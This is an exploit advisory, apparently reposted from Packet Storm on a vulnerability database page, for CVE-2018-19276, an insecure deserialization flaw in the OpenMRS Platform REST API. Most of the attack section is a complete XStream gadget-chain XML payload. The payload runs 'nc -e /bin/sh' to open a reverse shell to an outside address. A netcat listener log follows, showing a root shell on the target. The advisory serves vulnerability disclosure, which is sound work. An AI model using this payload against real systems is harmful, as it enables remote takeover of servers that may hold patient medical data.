Lucene search
K

OpenMRS Platform Insecure Object Deserialization

🗓️ 06 Feb 2019 00:00:00Reported by Bishop FoxType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 109 Views

Insecure Object Deserialization on OpenMRS Platform, allows remote attackers to execute arbitrary commands by injecting XML payload in REST API request

Related
Code
`Insecure Object Deserialization on the OpenMRS Platform  
Vulnerability Details  
CVE ID: CVE-2018-19276  
  
Access Vector: Remote  
  
Security Risk: Critical  
  
Vulnerability: CWE-502  
  
CVSS Base Score: 10.0   
  
CVSS vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N  
  
JAVA 8 ENVIRONMENT  
By injecting an XML payload in the following body request to the REST API provided by the application, an attacker could execute arbitrary commands on the remote system. The request below could be used to exploit the vulnerability:  
  
  
POST /openmrs/ws/rest/v1/xxxxxx HTTP/1.1  
Host: HOST  
Content-Type: text/xml  
  
<map>  
<entry>  
<jdk.nashorn.internal.objects.NativeString>  
<flags>0</flags>  
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">  
<dataHandler>  
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">  
<is class="javax.crypto.CipherInputStream">  
<cipher class="javax.crypto.NullCipher">  
<initialized>false</initialized>  
<opmode>0</opmode>  
<serviceIterator class="javax.imageio.spi.FilterIterator">  
<iter class="javax.imageio.spi.FilterIterator">  
<iter class="java.util.Collections$EmptyIterator"/>  
<next class="java.lang.ProcessBuilder">  
<command>  
<string>/bin/sh</string>  
<string>-c</string>  
<string>nc -e /bin/sh 172.16.32.3 8000</string>  
</command>  
<redirectErrorStream>false</redirectErrorStream>  
</next>  
</iter>  
<filter class="javax.imageio.ImageIO$ContainsFilter">  
<method>  
<class>java.lang.ProcessBuilder</class>  
<name>start</name>  
<parameter-types/>  
</method>  
<name>foo</name>  
</filter>  
<next class="string">foo</next>  
</serviceIterator>  
<lock/>  
</cipher>  
<input class="java.lang.ProcessBuilder$NullInputStream"/>  
<ibuffer></ibuffer>  
<done>false</done>  
<ostart>0</ostart>  
<ofinish>0</ofinish>  
<closed>false</closed>  
</is>  
<consumed>false</consumed>  
</dataSource>  
<transferFlavors/>  
</dataHandler>  
<dataLen>0</dataLen>  
</value>  
</jdk.nashorn.internal.objects.NativeString>  
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>  
</entry>  
<entry>  
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>  
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>  
</entry>  
  
The payload above was generated with the marshalsec tool and adapted to use multiple arguments because the original payload would not work well if the attacker need to send several arguments to a Linux host.. After the payload was sent, the handler successfully received a response:  
  
~ A>> nc -vlp 8000  
Ncat: Version 7.60 ( https://nmap.org/ncat )  
Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.  
Ncat: SHA-1 fingerprint: 5DE4 9A26 3868 367D 8104 B043 CE14 BAD6 5CC9 DE51  
Ncat: Listening on :::8000  
Ncat: Listening on 0.0.0.0:8000  
Ncat: Connection from 172.16.32.2.  
Ncat: Connection from 172.16.32.2:52434.  
id  
uid=0(root) gid=0(root) groups=0(root)  
pwd  
/usr/local/tomcat  
  
  
The response should contain an error message similar to the one below:  
  
  
{"error":{"message":"[Could not read [class org.openmrs.module.webservices.rest.SimpleObject]; nested exception is org.springframework.oxm.UnmarshallingFailureException: XStream unmarshalling exception; nested exception is com.thoughtworks.xstream.converters.ConversionException: java.lang.String cannot be cast to java.security.Provider$Service  
a|omitted for brevitya|  
  
  
The response above showed that the REST Web Services module was unable to process the request properly. However, the payload was deserialized before it is caught by the exception handler, which allowed the team to gain shell access.  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation